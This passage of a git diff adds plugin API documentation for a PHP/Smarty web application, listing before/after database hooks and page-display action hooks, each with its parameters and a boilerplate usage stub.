+show_reset_password,Called when the reset password page is to be displayed.,$smarty the smarty object,controller/class.ResetPasswordController.php +show_show_challenge,Called when the show challenge page is to be displayed.,$smarty the smarty object,controller/class.ShowChallengeController.php +show_show_class,Called when the show class page is to be displayed.,$smarty the smarty object,admin/controller/class.ShowClassController.php +show_try_challenge,Called when the try challenge page is to be displayed.,$smarty the smarty object,controller/class.TryChallengeController.php +show_user_manager,Called when the user manager page is to be displayed.,$smarty the smarty object,admin/controller/class.UserManagerController.php \ No newline at end of file diff --git a/docs/Plugin-API-Actions.md b/docs/Plugin-API-Actions.md new file mode 100755 index 00000000..5fd38fec --- /dev/null +++ b/docs/Plugin-API-Actions.md @@ -0,0 +1,1704 @@ +### Actions +* [after_create_article](#after_create_article) +* [after_create_challenge](#after_create_challenge) +* [after_create_challenge_attempt](#after_create_challenge_attempt) +* [after_create_class](#after_create_class) +* [after_create_class_challenge](#after_create_class_challenge) +* [after_create_user](#after_create_user) +* [after_create_user_has_challenge_token](#after_create_user_has_challenge_token) +* [after_delete_article](#after_delete_article) +* [after_delete_challenge](#after_delete_challenge) +* [after_delete_challenge_attempt](#after_delete_challenge_attempt) +* [after_delete_class](#after_delete_class) +* [after_delete_class_challenge](#after_delete_class_challenge) +* [after_delete_class_membership](#after_delete_class_membership) +* [after_delete_user](#after_delete_user) +* [after_read_article](#after_read_article) +* [after_read_challenge](#after_read_challenge) +* [after_read_challenge_attempt](#after_read_challenge_attempt) +* [after_read_class](#after_read_class) +* [after_read_class_challenge](#after_read_class_challenge) +* [after_read_class_membership](#after_read_class_membership) +* [after_read_user](#after_read_user) +* [after_read_user_challenge](#after_read_user_challenge) +* [after_read_user_has_challenge_token](#after_read_user_has_challenge_token) +* [after_update_article](#after_update_article) +* [after_update_challenge](#after_update_challenge) +* [after_update_class](#after_update_class) +* [after_update_class_challenge](#after_update_class_challenge) +* [after_update_user](#after_update_user) +* [after_update_user_has_challenge_token](#after_update_user_has_challenge_token) +* [before_create_article](#before_create_article) +* [before_create_challenge](#before_create_challenge) +* [before_create_challenge_attempt](#before_create_challenge_attempt) +* [before_create_class](#before_create_class) +* [before_create_class_challenge](#before_create_class_challenge) +* [before_create_user](#before_create_user) +* [before_create_user_has_challenge_token](#before_create_user_has_challenge_token) +* [before_delete_article](#before_delete_article) +* [before_delete_challenge](#before_delete_challenge) +* [before_delete_challenge_attempt](#before_delete_challenge_attempt) +* [before_delete_class](#before_delete_class) +* [before_delete_class_challenge](#before_delete_class_challenge) +* [before_delete_class_membership](#before_delete_class_membership) +* [before_delete_user](#before_delete_user) +* [before_read_article](#before_read_article) +* [before_read_challenge](#before_read_challenge) +* [before_read_challenge_attempt](#before_read_challenge_attempt) +* [before_read_class](#before_read_class) +* [before_read_class_challenge](#before_read_class_challenge) +* [before_read_class_membership](#before_read_class_membership) +* [before_read_user](#before_read_user) +* [before_read_user_challenge](#before_read_user_challenge) +* [before_read_user_has_challenge_token](#before_read_user_has_challenge_token) +* [before_update_article](#before_update_article) +* [before_update_challenge](#before_update_challenge) +* [before_update_class](#before_update_class) +* [before_update_class_challenge](#before_update_class_challenge) +* [before_update_user](#before_update_user) +* [before_update_user_has_challenge_token](#before_update_user_has_challenge_token) +* [disable_plugin](#disable_plugin) +* [disable_user_theme](#disable_user_theme) +* [enable_plugin](#enable_plugin) +* [enable_user_theme](#enable_user_theme) +* [generate_view](#generate_view) +* [show_add_article](#show_add_article) +* [show_add_challenge](#show_add_challenge) +* [show_add_class](#show_add_class) +* [show_add_user](#show_add_user) +* [show_admin_login](#show_admin_login) +* [show_article_manager](#show_article_manager) +* [show_challenge_list](#show_challenge_list) +* [show_challenge_manager](#show_challenge_manager) +* [show_class_challenges](#show_class_challenges) +* [show_class_manager](#show_class_manager) +* [show_class_memberships](#show_class_memberships) +* [show_dashboard](#show_dashboard) +* [show_edit_article](#show_edit_article) +* [show_edit_challenge](#show_edit_challenge) +* [show_edit_code](#show_edit_code) +* [show_edit_user](#show_edit_user) +* [show_forgot_password](#show_forgot_password) +* [show_landing_page](#show_landing_page) +* [show_login](#show_login) +* [show_main_login](#show_main_login) +* [show_progress_report](#show_progress_report) +* [show_rankings](#show_rankings) +* [show_read_article](#show_read_article) +* [show_register_user](#show_register_user) +* [show_reset_password](#show_reset_password) +* [show_show_challenge](#show_show_challenge) +* [show_show_class](#show_show_class) +* [show_try_challenge](#show_try_challenge) +* [show_user_manager](#show_user_manager) + +#### Action: after_create_article +Called when an article has been inserted into the database. + +##### Parameters +```php +$id the id of the new row, +$params the params to the query +``` + +##### Usage +```php +Plugin::add_action('after_create_article', '[plugin]_after_create_article', 10, 1); + +function [plugin]_after_create_article([parameters]) { + // do something +} +``` + +#### Action: after_create_challenge +Called when a challenge has been inserted into the database. + +##### Parameters +```php +$id the id of the new row, +$params the params to the query +``` + +##### Usage +```php +Plugin::add_action('after_create_challenge', '[plugin]_after_create_challenge', 10, 1); + +function [plugin]_after_create_challenge([parameters]) { + // do something +} +``` + +#### Action: after_create_challenge_attempt +Called when a challenge attempt has been inserted into the database. + +##### Parameters +```php +$id the id of the new row, +$params the params to the query +``` + +##### Usage +```php +Plugin::add_action('after_create_challenge_attempt', '[plugin]_after_create_challenge_attempt', 10, 1); + +function [plugin]_after_create_challenge_attempt([parameters]) { + // do something +} +``` + +#### Action: after_create_class +Called when a class has been inserted into the database. + +##### Parameters +```php +$id the id of the new row, +$params the params to the query +``` + +##### Usage +```php +Plugin::add_action('after_create_class', '[plugin]_after_create_class', 10, 1); + +function [plugin]_after_create_class([parameters]) { + // do something +} +``` + +#### Action: after_create_class_challenge +Called when a class challenge has been inserted into the database. + +##### Parameters +```php +$id the id of the new row, +$params the params to the query +``` + +##### Usage +```php +Plugin::add_action('after_create_class_challenge', '[plugin]_after_create_class_challenge', 10, 1); + +function [plugin]_after_create_class_challenge([parameters]) { + // do something +} +``` + +#### Action: after_create_user +Called when a user has been inserted into the database. + +##### Parameters +```php +$id the id of the new row, +$params the params to the query +``` + +##### Usage +```php +Plugin::add_action('after_create_user', '[plugin]_after_create_user', 10, 1); + +function [plugin]_after_create_user([parameters]) { + // do something +} +``` + +#### Action: after_create_user_has_challenge_token +Called when a "user has challenge token"" has been inserted into the database." + +##### Parameters +```php +$id the id of the new row, +$params the params to the query +``` + +##### Usage +```php +Plugin::add_action('after_create_user_has_challenge_token', '[plugin]_after_create_user_has_challenge_token', 10, 1); + +function [plugin]_after_create_user_has_challenge_token([parameters]) { + // do something +} +``` + +#### Action: after_delete_article +Called when an article has been deleted from the database. + +##### Parameters +```php +$params the params to the query +``` + +##### Usage +```php +Plugin::add_action('after_delete_article', '[plugin]_after_delete_article', 10, 1); + +function [plugin]_after_delete_article([parameters]) { + // do something +} +``` + +#### Action: after_delete_challenge +Called when a challenge has been deleted from the database. + +##### Parameters +```php +$params the params to the query +``` + +##### Usage +```php +Plugin::add_action('after_delete_challenge', '[plugin]_after_delete_challenge', 10, 1); + +function [plugin]_after_delete_challenge([parameters]) { + // do something +} +``` + +#### Action: after_delete_challenge_attempt +Called when a challenge attempt has been deleted from the database. + +##### Parameters +```php +$params the params to the query +``` + +##### Usage +```php +Plugin::add_action('after_delete_challenge_attempt', '[plugin]_after_delete_challenge_attempt', 10, 1); + +function [plugin]_after_delete_challenge_attempt([parameters]) { + // do something +} +``` + +#### Action: after_delete_class +Called when a class has been deleted from the database. + +##### Parameters +```php +$params the params to the query +``` + +##### Usage +```php +Plugin::add_action('after_delete_class', '[plugin]_after_delete_class', 10, 1); + +function [plugin]_after_delete_class([parameters]) { + // do something +} +``` + +#### Action: after_delete_class_challenge +Called when a class challenge has been deleted from the database. + +##### Parameters +```php +$params the params to the query +``` + +##### Usage +```php +Plugin::add_action('after_delete_class_challenge', '[plugin]_after_delete_class_challenge', 10, 1); + +function [plugin]_after_delete_class_challenge([parameters]) { + // do something +} +``` + +#### Action: after_delete_class_membership +Called when a class membership has been deleted from the database. + +##### Parameters +```php +$params the params to the query +``` + +##### Usage +```php +Plugin::add_action('after_delete_class_membership', '[plugin]_after_delete_class_membership', 10, 1); + +function [plugin]_after_delete_class_membership([parameters]) { + // do something +} +``` + +#### Action: after_delete_user +Called when a user has been deleted from the database. + +##### Parameters +```php +$params the params to the query +``` + +##### Usage +```php +Plugin::add_action('after_delete_user', '[plugin]_after_delete_user', 10, 1); + +function [plugin]_after_delete_user([parameters]) { + // do something +} +``` + +#### Action: after_read_article +Called when a article has been read from the database. + +##### Parameters +```php +$params the params to the query +``` + +##### Usage +```php +Plugin::add_action('after_read_article', '[plugin]_after_read_article', 10, 1); + +function [plugin]_after_read_article([parameters]) { + // do something +} +``` + +#### Action: after_read_challenge +Called when a challenge has been read from the database. + +##### Parameters +```php +$params the params to the query +``` + +##### Usage +```php +Plugin::add_action('after_read_challenge', '[plugin]_after_read_challenge', 10, 1); + +function [plugin]_after_read_challenge([parameters]) { + // do something +} +``` + +#### Action: after_read_challenge_attempt +Called when a challenge attempt has been read from the database. + +##### Parameters +```php +$params the params to the query +``` + +##### Usage +```php +Plugin::add_action('after_read_challenge_attempt', '[plugin]_after_read_challenge_attempt', 10, 1); + +function [plugin]_after_read_challenge_attempt([parameters]) { + // do something +} +``` + +#### Action: after_read_class +Called when a class has been read from the database. + +##### Parameters +```php +$params the params to the query +``` + +##### Usage +```php +Plugin::add_action('after_read_class', '[plugin]_after_read_class', 10, 1); + +function [plugin]_after_read_class([parameters]) { + // do something +} +``` + +#### Action: after_read_class_challenge +Called when a class challenge has been read from the database. + +##### Parameters +```php +$params the params to the query +``` + +##### Usage +```php +Plugin::add_action('after_read_class_challenge', '[plugin]_after_read_class_challenge', 10, 1); + +function [plugin]_after_read_class_challenge([parameters]) { + // do something +} +``` + +#### Action: after_read_class_membership +Called when a class membership has been read from the database. + +##### Parameters +```php +$params the params to the query +``` + +##### Usage +```php +Plugin::add_action('after_read_class_membership', '[plugin]_after_read_class_membership', 10, 1); + +function [plugin]_after_read_class_membership([parameters]) { + // do something +} +``` + +#### Action: after_read_user +Called when a user has been read from the database. + +##### Parameters +```php +$params the params to the query +``` + +##### Usage +```php +Plugin::add_action('after_read_user', '[plugin]_after_read_user', 10, 1); + +function [plugin]_after_read_user([parameters]) { + // do something +} +``` + +#### Action: after_read_user_challenge +Called when a user challenge has been read from the database. + +##### Parameters +```php +$params the params to the query +``` + +##### Usage +```php +Plugin::add_action('after_read_user_challenge', '[plugin]_after_read_user_challenge', 10, 1); + +function [plugin]_after_read_user_challenge([parameters]) { + // do something +} +``` + +#### Action: after_read_user_has_challenge_token +Called when a "user has challenge token"" has been read from the database." + +##### Parameters +```php +$params the params to the query +``` + +##### Usage +```php +Plugin::add_action('after_read_user_has_challenge_token', '[plugin]_after_read_user_has_challenge_token', 10, 1); + +function [plugin]_after_read_user_has_challenge_token([parameters]) { + // do something +} +``` + +#### Action: after_update_article +Called when an article has been updated in the database. + +##### Parameters +```php +$params the params to the query +``` + +##### Usage +```php +Plugin::add_action('after_update_article', '[plugin]_after_update_article', 10, 1); + +function [plugin]_after_update_article([parameters]) { + // do something +} +``` + +#### Action: after_update_challenge +Called when a challenge has been updated in the database. + +##### Parameters +```php +$params the params to the query +``` + +##### Usage +```php +Plugin::add_action('after_update_challenge', '[plugin]_after_update_challenge', 10, 1); + +function [plugin]_after_update_challenge([parameters]) { + // do something +} +``` + +#### Action: after_update_class +Called when a class has been updated in the database. + +##### Parameters +```php +$params the params to the query +``` + +##### Usage +```php +Plugin::add_action('after_update_class', '[plugin]_after_update_class', 10, 1); + +function [plugin]_after_update_class([parameters]) { + // do something +} +``` + +#### Action: after_update_class_challenge +Called when a class challenge has been updated in the database. + +##### Parameters +```php +$params the params to the query +``` + +##### Usage +```php +Plugin::add_action('after_update_class_challenge', '[plugin]_after_update_class_challenge', 10, 1); + +function [plugin]_after_update_class_challenge([parameters]) { + // do something +} +``` + +#### Action: after_update_user +Called when a user has been updated in the database. + +##### Parameters +```php +$params the params to the query +``` + +##### Usage +```php +Plugin::add_action('after_update_user', '[plugin]_after_update_user', 10, 1); + +function [plugin]_after_update_user([parameters]) { + // do something +} +``` + +#### Action: after_update_user_has_challenge_token +Called when a "user has challenge token"" has been updated in the database." + +##### Parameters +```php +$params the params to the query +``` + +##### Usage +```php +Plugin::add_action('after_update_user_has_challenge_token', '[plugin]_after_update_user_has_challenge_token', 10, 1); + +function [plugin]_after_update_user_has_challenge_token([parameters]) { + // do something +} +``` + +#### Action: before_create_article +Called when an article is about to be inserted into the database. + +##### Parameters +```php +$sql the base sql query, +$params the params to the query +``` + +##### Usage +```php +Plugin::add_action('before_create_article', '[plugin]_before_create_article', 10, 1); + +function [plugin]_before_create_article([parameters]) { + // do something +} +``` + +#### Action: before_create_challenge +Called when a challenge is about to be inserted into the database. + +##### Parameters +```php +$sql the base sql query, +$params the params to the query +``` + +##### Usage +```php +Plugin::add_action('before_create_challenge', '[plugin]_before_create_challenge', 10, 1); + +function [plugin]_before_create_challenge([parameters]) { + // do something +} +``` + +#### Action: before_create_challenge_attempt +Called when a challenge attempt is about to be inserted into the database. + +##### Parameters +```php +$sql the base sql query, +$params the params to the query +``` + +##### Usage +```php +Plugin::add_action('before_create_challenge_attempt', '[plugin]_before_create_challenge_attempt', 10, 1); + +function [plugin]_before_create_challenge_attempt([parameters]) { + // do something +} +``` + +#### Action: before_create_class +Called when a class is about to be inserted into the database. + +##### Parameters +```php +$sql the base sql query, +$params the params to the query +``` + +##### Usage +```php +Plugin::add_action('before_create_class', '[plugin]_before_create_class', 10, 1); + +function [plugin]_before_create_class([parameters]) { + // do something +} +``` + +#### Action: before_create_class_challenge +Called when a class challenge is about to be inserted into the database. + +##### Parameters +```php +$sql the base sql query, +$params the params to the query +``` + +##### Usage +```php +Plugin::add_action('before_create_class_challenge', '[plugin]_before_create_class_challenge', 10, 1); + +function [plugin]_before_create_class_challenge([parameters]) { + // do something +} +``` + +#### Action: before_create_user +Called when a user is about to be inserted into the database. + +##### Parameters +```php +$sql the base sql query, +$params the params to the query +``` + +##### Usage +```php +Plugin::add_action('before_create_user', '[plugin]_before_create_user', 10, 1); + +function [plugin]_before_create_user([parameters]) { + // do something +} +``` + +#### Action: before_create_user_has_challenge_token +Called when a "user has challenge token"" is about to be inserted into the database." + +##### Parameters +```php +$sql the base sql query, +$params the params to the query +``` + +##### Usage +```php +Plugin::add_action('before_create_user_has_challenge_token', '[plugin]_before_create_user_has_challenge_token', 10, 1); + +function [plugin]_before_create_user_has_challenge_token([parameters]) { + // do something +} +``` + +#### Action: before_delete_article +Called when an article is about to be deleted from the database. + +##### Parameters +```php +$sql the base sql query, +$params the params to the query +``` + +##### Usage +```php +Plugin::add_action('before_delete_article', '[plugin]_before_delete_article', 10, 1); + +function [plugin]_before_delete_article([parameters]) { + // do something +} +``` + +#### Action: before_delete_challenge +Called when a challenge is about to be deleted from the database. + +##### Parameters +```php +$sql the base sql query, +$params the params to the query +``` + +##### Usage +```php +Plugin::add_action('before_delete_challenge', '[plugin]_before_delete_challenge', 10, 1); + +function [plugin]_before_delete_challenge([parameters]) { + // do something +} +``` + +#### Action: before_delete_challenge_attempt +Called when a challenge attempt is about to be deleted from the database. + +##### Parameters +```php +$sql the base sql query, +$params the params to the query +``` + +##### Usage +```php +Plugin::add_action('before_delete_challenge_attempt', '[plugin]_before_delete_challenge_attempt', 10, 1); + +function [plugin]_before_delete_challenge_attempt([parameters]) { + // do something +} +``` + +#### Action: before_delete_class +Called when a class is about to be deleted from the database. + +##### Parameters +```php +$sql the base sql query, +$params the params to the query +``` + +##### Usage +```php +Plugin::add_action('before_delete_class', '[plugin]_before_delete_class', 10, 1); + +function [plugin]_before_delete_class([parameters]) { + // do something +} +``` + +#### Action: before_delete_class_challenge +Called when a class challenge is about to be deleted from the database. + +##### Parameters +```php +$sql the base sql query, +$params the params to the query +``` + +##### Usage +```php +Plugin::add_action('before_delete_class_challenge', '[plugin]_before_delete_class_challenge', 10, 1); + +function [plugin]_before_delete_class_challenge([parameters]) { + // do something +} +``` + +#### Action: before_delete_class_membership +Called when a class membership is about to be deleted from the database. + +##### Parameters +```php +$sql the base sql query, +$params the params to the query +``` + +##### Usage +```php +Plugin::add_action('before_delete_class_membership', '[plugin]_before_delete_class_membership', 10, 1); + +function [plugin]_before_delete_class_membership([parameters]) { + // do something +} +``` + +#### Action: before_delete_user +Called when a user is about to be deleted from the database. + +##### Parameters +```php +$sql the base sql query, +$params the params to the query +``` + +##### Usage +```php +Plugin::add_action('before_delete_user', '[plugin]_before_delete_user', 10, 1); + +function [plugin]_before_delete_user([parameters]) { + // do something +} +``` + +#### Action: before_read_article +Called when a article is about to be read from the database. + +##### Parameters +```php +$sql the base sql query, +$params the params to the query +``` + +##### Usage +```php +Plugin::add_action('before_read_article', '[plugin]_before_read_article', 10, 1); + +function [plugin]_before_read_article([parameters]) { + // do something +} +``` + +#### Action: before_read_challenge +Called when a challenge is about to be read from the database. + +##### Parameters +```php +$sql the base sql query, +$params the params to the query +``` + +##### Usage +```php +Plugin::add_action('before_read_challenge', '[plugin]_before_read_challenge', 10, 1); + +function [plugin]_before_read_challenge([parameters]) { + // do something +} +``` + +#### Action: before_read_challenge_attempt +Called when a challenge attempt is about to be read from the database. + +##### Parameters +```php +$sql the base sql query, +$params the params to the query +``` + +##### Usage +```php +Plugin::add_action('before_read_challenge_attempt', '[plugin]_before_read_challenge_attempt', 10, 1); + +function [plugin]_before_read_challenge_attempt([parameters]) { + // do something +} +``` + +#### Action: before_read_class +Called when a class is about to be read from the database. + +##### Parameters +```php +$sql the base sql query, +$params the params to the query +``` + +##### Usage +```php +Plugin::add_action('before_read_class', '[plugin]_before_read_class', 10, 1); + +function [plugin]_before_read_class([parameters]) { + // do something +} +``` + +#### Action: before_read_class_challenge +Called when a class challenge is about to be read from the database. + +##### Parameters +```php +$sql the base sql query, +$params the params to the query +``` + +##### Usage +```php +Plugin::add_action('before_read_class_challenge', '[plugin]_before_read_class_challenge', 10, 1); + +function [plugin]_before_read_class_challenge([parameters]) { + // do something +} +``` + +#### Action: before_read_class_membership +Called when a class membership is about to be read from the database. + +##### Parameters +```php +$sql the base sql query, +$params the params to the query +``` + +##### Usage +```php +Plugin::add_action('before_read_class_membership', '[plugin]_before_read_class_membership', 10, 1); + +function [plugin]_before_read_class_membership([parameters]) { + // do something +} +``` + +#### Action: before_read_user +Called when a user is about to be read from the database. + +##### Parameters +```php +$sql the base sql query, +$params the params to the query +``` + +##### Usage +```php +Plugin::add_action('before_read_user', '[plugin]_before_read_user', 10, 1); + +function [plugin]_before_read_user([parameters]) { + // do something +} +``` + +#### Action: before_read_user_challenge +Called when a user challenge is about to be read from the database. + +##### Parameters +```php +$sql the base sql query, +$params the params to the query +``` + +##### Usage +```php +Plugin::add_action('before_read_user_challenge', '[plugin]_before_read_user_challenge', 10, 1); + +function [plugin]_before_read_user_challenge([parameters]) { + // do something +} +``` + +#### Action: before_read_user_has_challenge_token +Called when a "user has challenge token"" is about to be read from the database." + +##### Parameters +```php +$sql the base sql query, +$params the params to the query +``` + +##### Usage +```php +Plugin::add_action('before_read_user_has_challenge_token', '[plugin]_before_read_user_has_challenge_token', 10, 1); + +function [plugin]_before_read_user_has_challenge_token([parameters]) { + // do something +} +``` + +#### Action: before_update_article +Called when an article is about to be updated in the database. + +##### Parameters +```php +$sql the base sql query, +$params the params to the query +``` + +##### Usage +```php +Plugin::add_action('before_update_article', '[plugin]_before_update_article', 10, 1); + +function [plugin]_before_update_article([parameters]) { + // do something +} +``` + +#### Action: before_update_challenge +Called when a challenge is about to be updated in the database. + +##### Parameters +```php +$sql the base sql query, +$params the params to the query +``` + +##### Usage +```php +Plugin::add_action('before_update_challenge', '[plugin]_before_update_challenge', 10, 1); + +function [plugin]_before_update_challenge([parameters]) { + // do something +} +``` + +#### Action: before_update_class +Called when a class is about to be updated in the database. + +##### Parameters +```php +$sql the base sql query, +$params the params to the query +``` + +##### Usage +```php +Plugin::add_action('before_update_class', '[plugin]_before_update_class', 10, 1); + +function [plugin]_before_update_class([parameters]) { + // do something +} +``` + +#### Action: before_update_class_challenge +Called when a class challenge is about to be updated in the database. + +##### Parameters +```php +$sql the base sql query, +$params the params to the query +``` + +##### Usage +```php +Plugin::add_action('before_update_class_challenge', '[plugin]_before_update_class_challenge', 10, 1); + +function [plugin]_before_update_class_challenge([parameters]) { + // do something +} +``` + +#### Action: before_update_user +Called when a user is about to be updated in the database. + +##### Parameters +```php +$sql the base sql query, +$params the params to the query +``` + +##### Usage +```php +Plugin::add_action('before_update_user', '[plugin]_before_update_user', 10, 1); + +function [plugin]_before_update_user([parameters]) { + // do something +} +``` + +#### Action: before_update_user_has_challenge_token +Called when a "user has challenge token"" is about to be updated in the database." + +##### Parameters +```php +$sql the base sql query, +$params the params to the query +``` + +##### Usage +```php +Plugin::add_action('before_update_user_has_challenge_token', '[plugin]_before_update_user_has_challenge_token', 10, 1); + +function [plugin]_before_update_user_has_challenge_token([parameters]) { + // do something +} +``` + +#### Action: disable_plugin +Called for each plugin that is disabled + +##### Parameters +```php +$plugin the name and path to the plugin file +``` + +##### Usage +```php +Plugin::add_action('disable_plugin', '[plugin]_disable_plugin', 10, 1); + +function [plugin]_disable_plugin([parameters]) { + // do something +} +``` + +#### Action: disable_user_theme +Called when a user theme has been disabled + +##### Parameters +```php +$theme the name and path of the theme +``` + +##### Usage +```php +Plugin::add_action('disable_user_theme', '[plugin]_disable_user_theme', 10, 1); + +function [plugin]_disable_user_theme([parameters]) { + // do something +} +``` + +#### Action: enable_plugin +Called for each plugin that is enabled + +##### Parameters +```php +$plugin the name and path to the plugin file +``` + +##### Usage +```php +Plugin::add_action('enable_plugin', '[plugin]_enable_plugin', 10, 1); + +function [plugin]_enable_plugin([parameters]) { + // do something +} +``` + +#### Action: enable_user_theme +Called when a user theme has been enabled + +##### Parameters +```php +$theme the name and path of the theme +``` + +##### Usage +```php +Plugin::add_action('enable_user_theme', '[plugin]_enable_user_theme', 10, 1); + +function [plugin]_enable_user_theme([parameters]) { + // do something +} +``` + +#### Action: generate_view +Called when a page is about to be passed to Smarty for presentation. + +##### Parameters +```php +$smarty the smarty object +``` + +##### Usage +```php +Plugin::add_action('generate_view', '[plugin]_generate_view', 10, 1); + +function [plugin]_generate_view([parameters]) { + // do something +} +``` + +#### Action: show_add_article +Called when the add article page is about to be displayed + +##### Parameters +```php +$smarty the smarty object +``` + +##### Usage +```php +Plugin::add_action('show_add_article', '[plugin]_show_add_article', 10, 1); + +function [plugin]_show_add_article([parameters]) { + // do something +} +``` + +#### Action: show_add_challenge +Called when the add challenge page is about to be displayed + +##### Parameters +```php +$smarty the smarty object +``` + +##### Usage +```php +Plugin::add_action('show_add_challenge', '[plugin]_show_add_challenge', 10, 1); + +function [plugin]_show_add_challenge([parameters]) { + // do something +} +``` + +#### Action: show_add_class +Called when the add class page is about to be displayed + +##### Parameters +```php +$smarty the smarty object +``` + +##### Usage +```php +Plugin::add_action('show_add_class', '[plugin]_show_add_class', 10, 1); + +function [plugin]_show_add_class([parameters]) { + // do something +} +``` + +#### Action: show_add_user +Called when the add user page is about to be displayed + +##### Parameters +```php +$smarty the smarty object +``` + +##### Usage +```php +Plugin::add_action('show_add_user', '[plugin]_show_add_user', 10, 1); + +function [plugin]_show_add_user([parameters]) { + // do something +} +``` + +#### Action: show_admin_login +Called when the admin login page is to be displayed. + +##### Parameters +```php +$smarty the smarty object +``` + +##### Usage +```php +Plugin::add_action('show_admin_login', '[plugin]_show_admin_login', 10, 1); + +function [plugin]_show_admin_login([parameters]) { + // do something +} +``` + +#### Action: show_article_manager +Called when the article manager is about to be displayed. + +##### Parameters +```php +$smarty the smarty object +``` + +##### Usage +```php +Plugin::add_action('show_article_manager', '[plugin]_show_article_manager', 10, 1); + +function [plugin]_show_article_manager([parameters]) { + // do something +} +``` + +#### Action: show_challenge_list +Called when the challenge list is about to be displayed. + +##### Parameters +```php +$smarty the smarty object +``` + +##### Usage +```php +Plugin::add_action('show_challenge_list', '[plugin]_show_challenge_list', 10, 1); + +function [plugin]_show_challenge_list([parameters]) { + // do something +} +``` + +#### Action: show_challenge_manager +Called when the challenge manager is about to be displayed. + +##### Parameters +```php +$smarty the smarty object +``` + +##### Usage +```php +Plugin::add_action('show_challenge_manager', '[plugin]_show_challenge_manager', 10, 1); + +function [plugin]_show_challenge_manager([parameters]) { + // do something +} +``` + +#### Action: show_class_challenges +Called when the class challenges is about to be displayed. + +##### Parameters +```php +$smarty the smarty object +``` + +##### Usage +```php +Plugin::add_action('show_class_challenges', '[plugin]_show_class_challenges', 10, 1); + +function [plugin]_show_class_challenges([parameters]) { + // do something +} +``` + +#### Action: show_class_manager +Called when the class manager is about to be displayed. + +##### Parameters +```php +$smarty the smarty object +``` + +##### Usage +```php +Plugin::add_action('show_class_manager', '[plugin]_show_class_manager', 10, 1); + +function [plugin]_show_class_manager([parameters]) { + // do something +} +``` + +#### Action: show_class_memberships +Called when the class memberships is about to be displayed. + +##### Parameters +```php +$smarty the smarty object +``` + +##### Usage +```php +Plugin::add_action('show_class_memberships', '[plugin]_show_class_memberships', 10, 1); + +function [plugin]_show_class_memberships([parameters]) { + // do something +} +``` + +#### Action: show_dashboard +Called when the dashboard is about to be displayed. + +##### Parameters +```php +$smarty the smarty object +``` + +##### Usage +```php +Plugin::add_action('show_dashboard', '[plugin]_show_dashboard', 10, 1); + +function [plugin]_show_dashboard([parameters]) { + // do something +} +``` + +#### Action: show_edit_article +Called when the edit article page is about to be displayed. + +##### Parameters +```php +$smarty the smarty object +``` + +##### Usage +```php +Plugin::add_action('show_edit_article', '[plugin]_show_edit_article', 10, 1); + +function [plugin]_show_edit_article([parameters]) { + // do something +} +``` + +#### Action: show_edit_challenge +Called when the edit challenge page is about to be displayed. + +##### Parameters +```php +$smarty the smarty object +``` + +##### Usage +```php +Plugin::add_action('show_edit_challenge', '[plugin]_show_edit_challenge', 10, 1); + +function [plugin]_show_edit_challenge([parameters]) { + // do something +} +``` + +#### Action: show_edit_code +Called when the edit code page is about to be displayed. + +##### Parameters +```php +$smarty the smarty object +``` + +##### Usage +```php +Plugin::add_action('show_edit_code', '[plugin]_show_edit_code', 10, 1); + +function [plugin]_show_edit_code([parameters]) { + // do something +} +``` + +#### Action: show_edit_user +Called when the edit user page is about to be displayed. + +##### Parameters +```php +$smarty the smarty object +``` + +##### Usage +```php +Plugin::add_action('show_edit_user', '[plugin]_show_edit_user', 10, 1); + +function [plugin]_show_edit_user([parameters]) { + // do something +} +``` + +#### Action: show_forgot_password +Called when the forgot password page is to be displayed. + +##### Parameters +```php +$smarty the smarty object +``` + +##### Usage +```php +Plugin::add_action('show_forgot_password', '[plugin]_show_forgot_password', 10, 1); + +function [plugin]_show_forgot_password([parameters]) { + // do something +} +``` + +#### Action: show_landing_page +Called when the landing page is to be displayed. + +##### Parameters +```php +$smarty the smarty object +``` + +##### Usage +```php +Plugin::add_action('show_landing_page', '[plugin]_show_landing_page', 10, 1); + +function [plugin]_show_landing_page([parameters]) { + // do something +} +``` + +#### Action: show_login +Called when the login page is to be displayed. + +##### Parameters +```php +$smarty the smarty object +``` + +##### Usage +```php +Plugin::add_action('show_login', '[plugin]_show_login', 10, 1); + +function [plugin]_show_login([parameters]) { + // do something +} +``` + +#### Action: show_main_login +Called when the main login page is to be displayed. + +##### Parameters +```php +$smarty the smarty object +``` + +##### Usage +```php +Plugin::add_action('show_main_login', '[plugin]_show_main_login', 10, 1); + +function [plugin]_show_main_login([parameters]) { + // do something +} +``` + +#### Action: show_progress_report +Called when the progress report page is to be displayed. + +##### Parameters +```php +$smarty the smarty object +``` + +##### Usage +```php +Plugin::add_action('show_progress_report', '[plugin]_show_progress_report', 10, 1); + +function [plugin]_show_progress_report([parameters]) { + // do something +} +``` + +#### Action: show_rankings +Called when the rankings page is to be displayed. + +##### Parameters +```php +$smarty the smarty object +``` + +##### Usage +```php +Plugin::add_action('show_rankings', '[plugin]_show_rankings', 10, 1); + +function [plugin]_show_rankings([parameters]) { + // do something +} +``` + +#### Action: show_read_article +Called when an article page is to be displayed. + + +##### Parameters +```php +$smarty the smarty object +``` + +##### Usage +```php +Plugin::add_action('show_read_article', '[plugin]_show_read_article', 10, 1); + +function [plugin]_show_read_article([parameters]) { + // do something +} +``` + +#### Action: show_register_user +Called when the register user page is to be displayed. + +##### Parameters +```php +$smarty the smarty object +``` + +##### Usage +```php +Plugin::add_action('show_register_user', '[plugin]_show_register_user', 10, 1); + +function [plugin]_show_register_user([parameters]) { + // do something +} +``` + +#### Action: show_reset_password +Called when the reset password page is to be displayed. + +##### Parameters +```php +$smarty the smarty object +``` + +##### Usage +```php +Plugin::add_action('show_reset_password', '[plugin]_show_reset_password', 10, 1); + +function [plugin]_show_reset_password([parameters]) { + // do something +} +``` + +#### Action: show_show_challenge +Called when the show challenge page is to be displayed. + +##### Parameters +```php +$smarty the smarty object +``` + +##### Usage +```php +Plugin::add_action('show_show_challenge', '[plugin]_show_show_challenge', 10, 1); + +function [plugin]_show_show_challenge([parameters]) { + // do something +} +``` + +#### Action: show_show_class +Called when the show class page is to be displayed. + +##### Parameters +```php +$smarty the smarty object +``` + +##### Usage +```php +Plugin::add_action('show_show_class', '[plugin]_show_show_class', 10, 1); + +function [plugin]_show_show_class([parameters]) { + // do something +} +``` + +#### Action: show_try_challenge +Called when the try challenge page is to be displayed. + +##### Parameters +```php +$smarty the smarty object +``` + +##### Usage +```php +Plugin::add_action('show_try_challenge', '[plugin]_show_try_challenge', 10, 1); + +function [plugin]_show_try_challenge([parameters]) { + // do something +} +``` + +#### Action: show_user_manager +Called when the user manager page is to be displayed. + +##### Parameters +```php +$smarty the smarty object +``` + +##### Usage +```php 